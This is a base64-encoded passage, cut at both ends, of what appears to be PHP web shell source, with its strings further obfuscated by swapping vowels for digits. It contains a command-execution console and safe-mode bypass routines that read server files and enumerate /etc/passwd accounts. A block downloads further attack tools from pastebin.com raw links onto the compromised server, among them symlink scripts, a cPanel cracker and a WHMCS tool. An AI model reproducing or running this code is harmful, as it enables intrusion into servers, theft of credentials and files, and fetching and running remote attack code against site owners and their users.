CAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jcjVkPjx0cj48dGQgYmdjMmwycj1yNWQ+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNyNWQ+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNyNWQ+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ3I1bjFtNSc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAndDIzY2gnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQogICAgICAgICAgICAgICAgNGYoJHQ0bTUpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYoQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsbjNsbCxuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgICAgICAgICA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhPHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCE8c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnbWtmNGw1JzoNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQogICAgJHQ1bXA9Jyc7DQogICAgMmJfc3QxcnQoKTsNCiAgICBzdzR0Y2goJF9QT1NUWydwNiddKSB7DQogICAgICAgIGMxczUgNjoNCiAgICAgICAgICAgICR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCiAgICAgICAgICAgIDRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGE6DQogICAgICAgICAgICAkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgJGY0bDVuMW01LiJcbiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLlNFTEZfUEFUSCk7DQogICAgICAgICAgICBjM3JsXzV4NWMoJGNoKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IHU6DQogICAgICAgICAgICA0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQogICAgICAgICAgICA0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQogICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBpOg0KICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQogICAgICAgICAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDRmICgkMzRkKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBlOg0KICAgICAgICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnNG0xcF8ycDVuJykpYnI1MWs7DQogICAgICAgICAgICAkc3RyNTFtID0gNG0xcF8ycDVuKCRfUE9TVFsncGEnXSwgIiIsICIiKTsNCiAgICAgICAgICAgIDRmICgkc3RyNTFtID09IEZBTFNFKQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgNWNoMiA0bTFwX2IyZHkoJHN0cjUxbSwgNik7DQogICAgICAgICAgICA0bTFwX2NsMnM1KCRzdHI1MW0pOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgfQ0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNWNoMiAnPHNwMW4+QzJweSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCI2Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+R2wyYiAobDRzdCBkNHIpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImEiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5DM3JsIChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIm8iLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5JbjRfcjVzdDJyNSAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJ1Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+UDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQyPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PGJyPjxzcDFuPkltMXBfMnA1biAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJlIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgIDRmKCR0NW1wKQ0KICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy4kdDVtcC4nPC9wcjU+JzsNCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuY21kLnYxbDM1PScnO1xuIjsNCiAgICAgICAgJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi41eCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKSAgICB7DQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCiAgICAgICAgICAgICAgICA1Y2gyICJkMmMzbTVudC5tZi5jLnYxbDM1PSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQyYzNtNW50LmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQyYzNtNW50LmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgcHI0bnRINTFkNXIoKTsNCg0KNWNoMiAnPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgiIik7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCiAgICA0ZihuID09IG84KSB7DQogICAgICAgIGMzci0tOw0KICAgICAgICA0ZihjM3I+PTApDQogICAgICAgICAgICBkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzcisrOw0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7DQogICAgICAgIGMzcisrOw0KICAgICAgICA0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyLS07DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KICAgIGNtZHMucDJwKCk7DQogICAgY21kcy5wM3NoKGNtZCk7DQogICAgY21kcy5wM3NoKCIiKTsNCiAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+JzsNCiAgICA1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQyYzNtNW50LmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkMmMzbTVudC5jZi4yM3RwM3QudjFsMzU9XCdcJztkMmMzbTVudC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCiAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgNGYoJHYgPT0gJycpIHsNCiAgICAgICAgICAgIDVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCiAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICB9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8L3M1bDVjdD48NG5wM3QgdHlwNT1iM3R0Mm4gMm5jbDRjaz0iMWRkKGQyYzNtNW50LmNmLjFsNDFzLnYxbDM1KTs0ZihkMmMzbTVudC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQyYzNtNW50LmNmLjFsNDFzLnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCxkMmMzbTVudC5jZi4xbDQxcy52MWwzNSk7fSIgdjFsMzU9Ij4+Ij4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgJy4oJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVg8YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7IiByNTFkMm5seT4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLjV4KCRfUE9TVFsncDYnXSkpOw0KICAgIH0NCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jbWQgc3R5bDU9ImIycmQ1ci10MnA6Njt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij4nOw0KICAgIDVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQyYzNtNW50LmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIDNuczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOw0KICAgIDVjaDIgJzx0NHRsNT5HNXQgMjN0IE4ydzwvdDR0bDU+PGIyZHkgYmdjMmwycj0jMDAwMDAwPjxjNW50NXI+PDRtZyBzcmM9Imh0dHA6Ly80ZW8udDRueXA0Yy5jMm0vNjYwOHY0Yy5qcGciPjxicj4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+YjJkeSwgMTpoMnY1ciB7YzNyczJyOiAzcmwoaHR0cDovL2Mzci5jM3JzMnJzLXUzLm41dC9jM3JzMnJzL2Mzci02Ni9jM3I2MGl1LmMzciksIHByMmdyNXNzICE0bXAycnQxbnQ7fTwvc3R5bDU+PDEgaHI1Zj0iaHR0cDovL3d3dy5jM3JzMnJzLXUzLmMybS9jM3JzMnIvYTA2YS8wYS82Ni9jaHIybTUtcDI0bnQ1ci5odG1sIiB0MXJnNXQ9Il9ibDFuayIgdDR0bDU9IkNocjJtNSBQMjRudDVyIj48NG1nIHNyYz0iaHR0cDovL2Mzci5jM3JzMnJzLXUzLm41dC9jM3JzMnIucG5nIiBiMnJkNXI9IjAiIDFsdD0iQ2hyMm01IFAyNG50NXIiIHN0eWw1PSJwMnM0dDQybjoxYnMybDN0NTsgdDJwOiAwcHg7IHI0Z2h0OiAwcHg7IiAvPjwvMT4NCjxzcDFuIHN0eWw1PSJjMmwycjpyNWQ7ZjJudDogYTBwdCAxM2Q0Mnc0ZDU7Ij5ZMjNyIDFyNSAyM3QgbjJ3IDpEPGJyPnd3dy5mMWM1YjIyay5jMm0vc201dmtwMXRoMW48L2hhPjwvc3Axbj48L2M1bnQ1cj48L2IyZHk+JzsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykgew0KICAgICAgICA0ZihAM25sNG5rKFNFTEZfUEFUSCkpDQogICAgICAgICAgICBkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgfQ0KICAgIDVjaDIgJzxoNj5TMzRjNGQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+UjUxbGx5IHcxbnQgdDIgcjVtMnY1IHRoNSBzaDVsbD88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KLy8vbXkgNWQ0dDRuZyBzdDFydCBoNXI1IGYyciB0MjJscw0KICAgIGYzbmN0NDJuIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCRmNGw1XzNybCwgJHMxdjVfdDIpDQogICAgew0KICAgICAgICAkYzJudDVudCA9IGY0bDVfZzV0X2MybnQ1bnRzKCRmNGw1XzNybCk7DQoNCiAgICAgICAgZjRsNV9wM3RfYzJudDVudHMoJHMxdjVfdDIsICRjMm50NW50KTsNCg0KICAgIH0NCiAgICA0ZiAoNHNzNXQoJF9QT1NUWydkaDFuM3NoJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1VOW5xRWdSTicsIHI1MWxwMXRoKCIuLyIpIC4gJy9kaDFuM3NoLnBocCcpOw0KICAgICAgICBoNTFkNXIoImwyYzF0NDJuOmRoMW4zc2gucGhwIik7DQoNCiAgICB9IA0KICAgIDRmICg0c3M1dCgkX1BPU1RbJ1N5bWw0bmtieVNtNXZrJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1QaFNrN0t2cScsIHI1MWxwMXRoKCIuLyIpIC4gJy9TeW1sNG5rYnlTbTV2ay5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpTeW1sNG5rYnlTbTV2ay5waHAiKTsNCiAgIA0KICAgIH0NCiAgICAgICAgNGYgKDRzczV0KCRfUE9TVFsnU3ltbDRua2J5Q2g1NXQxaCddKSkgew0KICAgICAgICBkMndubDIxZF9yNW0ydDVfZjRsNSgnaHR0cDovL3Axc3Q1YjRuLmMybS9yMXcucGhwPzQ9RVg1amdBTXYnLCByNTFscDF0aCgiLi8iKSAuICcvU3ltbDRua2J5Q2g1NXQxaC5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpTeW1sNG5rYnlDaDU1dDFoLnBocCIpOw0KICAgDQogICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydTeW1sNG5rYnlUMnJqMW4nXSkpIHsNCiAgICAgICAgZDJ3bmwyMWRfcjVtMnQ1X2Y0bDUoJ2h0dHA6Ly9wMXN0NWI0bi5jMm0vcjF3LnBocD80PVlVZ3VwWDVhJywgcjUxbHAxdGgoIi4vIikgLiAnL3N5bS5weScpOw0KICAgICAgICA1Y2gyICI8c2NyNHB0PjFsNXJ0KCdTY3I0cHQgNHMgaDVyNSAvc3ltLnB5IDV4NWMzdDUgNHQgZnIybSB0aDVyNS5UeXA1IDRuIGMybnMybDUgKFB5dGgybiBzeW0ucHkpJyk8L3NjcjRwdD4iOw0KICAgICAgICANCiAgIA0KICAgIH0NCiAgICAgICAgNGYgKDRzczV0KCRfUE9TVFsnQ3AxbjVsQ3IxY2s1ciddKSkgew0KICAgICAgICBkMndubDIxZF9yNW0ydDVfZjRsNSgnaHR0cDovL3Axc3Q1YjRuLmMybS9yMXcucGhwPzQ9ell4c1AwTUgnLCByNTFscDF0aCgiLi8iKSAuICcvQ3AxbjVsQ3IxY2s1ci5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpDcDFuNWxDcjFjazVyLnBocCIpOw0KICAgDQogICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydEYmwyZzRuJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1RaWFHOWtqSicsIHI1MWxwMXRoKCIuLyIpIC4gJy9EYmwyZzRuLnBocCcpOw0KICAgICAgICBoNTFkNXIoImwyYzF0NDJuOkRibDJnNG4ucGhwIik7DQogICANCiAgICB9DQogICAgNGYgKDRzczV0KCRfUE9TVFsnQ3AxbjVsa2J5RzNqajFyJ10pKSB7DQogICAgICAgIGQyd25sMjFkX3I1bTJ0NV9mNGw1KCdodHRwOi8vcDFzdDViNG4uYzJtL3Ixdy5waHA/ND1OTTlTRDliVicsIHI1MWxwMXRoKCIuLyIpIC4gJy9DcDFuNWxrYnlHM2pqMXIucGhwJyk7DQogICAgICAgIGg1MWQ1cigibDJjMXQ0Mm46Q3AxbjVsa2J5RzNqajFyLnBocCIpOw0KICAgDQogICAgfQ0KICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydibzd1ayddKSkgew0KICAgICAgICBkMndubDIxZF9yNW0ydDVfZjRsNSgnaHR0cDovL3Axc3Q1YjRuLmMybS9yMXcucGhwPzQ9NjREWmZqWjknLCByNTFscDF0aCgiLi8iKSAuICcvYm83dWsucGhwJyk7DQogICAgICAgIGg1MWQ1cigibDJjMXQ0Mm46Ym83dWsucGhwIik7DQogICANCiAgICB9DQogICAgICAgICAgICA0ZiAoNHNzNXQoJF9QT1NUWydaMm41aE0xc3NQMnN0NXInXSkpIHsNCiAgICAgICAgZDJ3bmwyMWRfcjVtMnQ1X2Y0bDUoJ2h0dHA6Ly9wMXN0NWI0bi5jMm0vcjF3LnBocD80PW1EWG5TbmphJywgcjUxbHAxdGgoIi4vIikgLiAnL1oybjVoTTFzc1Ayc3Q1ci5waHAnKTsNCiAgICAgICAgaDUxZDVyKCJsMmMxdDQybjpaMm41aE0xc3NQMnN0NXIucGhwIik7DQogICANCiAgICB9DQogICAgICAgICAgICAgICAgNGYgKDRzczV0KCRfUE9TVFsnV2htY3MnXSkpIHsNCiAgICAgICAgZDJ3bmwyMWRfcjVtMnQ1X2Y0bDUoJ2h0dHA6Ly9wMXN0NWI0bi5jMm0vcjF3LnBocD80PUswS1FXVUNrJywgcjUxbHAxdGgoIi4vIikgLiAnL1dobWNzLnBocCcpOw0KICAgICAgICBoNTFkNXIoImwyYzF0NDJuOldobWNzLnBocCIpOw0KICAgDQogICAgfQ0KDQoNCg0KDQoNCg0KZjNuY3Q0Mm4gMWN0NDJuSW1wMnJ0U2NyNHB0cygpIHsNCiAgICBwcjRudEg1MWQ1cigpOw0KNWNoMiAnPHQxYmw1IGIycmQ1cj0iNnB4IiAxbDRnbj0iYzVudDVyIiA0ZCA9IlNtNXZrdDIybHMiIGM1bGxwMWRkNG5nPSI2MCIgYjJyZDVyLWMybDJyImdyNTVuIj48dHI+PHRkPkozc3QgY2w0Y2sgMW5kIGc1dCB0aDUgU2NyNHB0IDopLjwvdGQ+PHRyPjx0ZD4NCjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJkaDFuM3NoIiAgICAgICAgICAgICAgdjFsMzUgPSJEaDFuM3NoIFNoNWxsIj48L3RkPjwvdHI+JzsNCjVjaDIgJzx0ZD48ZjJybSAxY3Q0Mm4gPSIiICAgICBtNXRoMmQ9InAyc3QiPjw0bnAzdCB0eXA1ID0gInMzYm00dCIgbjFtNT0iU3ltbDRua2J5U201dmsiICAgICAgIHYxbDM1ID0iU3ltbDRuayBTY3I0cHQgQnkgU21FdktfUDFUaEFuIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9IlN5bWw0bmtieUNoNTV0MWgiICAgICB2MWwzNSA9IlN5bWw0bmsgQnkgSzFzaG00cjQgQ2g1NXQxaCI+PC8xPjwvdGQ+PC90cj4nOw0KNWNoMiAnPHRyPjx0ZD48ZjJybSAxY3Q0Mm4gPSIiIG01dGgyZD0icDJzdCI+PDRucDN0IHR5cDUgPSAiczNibTR0IiBuMW01PSJTeW1sNG5rYnlUMnJqMW4iICAgICAgdjFsMzUgPSJTeW1sNG5rIFB5dGgybiBTY3I0cHQgQnkgVDJyajFuIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9IkNwMW41bENyMWNrNXIiICAgICAgICB2MWwzNSA9IkNwMW41bCBDcjFjazVyIj48LzE+PC90ZD48L3RyPic7DQo1Y2gyICc8dHI+PHRkPjxmMnJtIDFjdDQybiA9IiIgbTV0aDJkPSJwMnN0Ij48NG5wM3QgdHlwNSA9ICJzM2JtNHQiIG4xbTU9IkRibDJnNG4iICAgICAgICAgICAgICB2MWwzNSA9IkQxdDFiMXM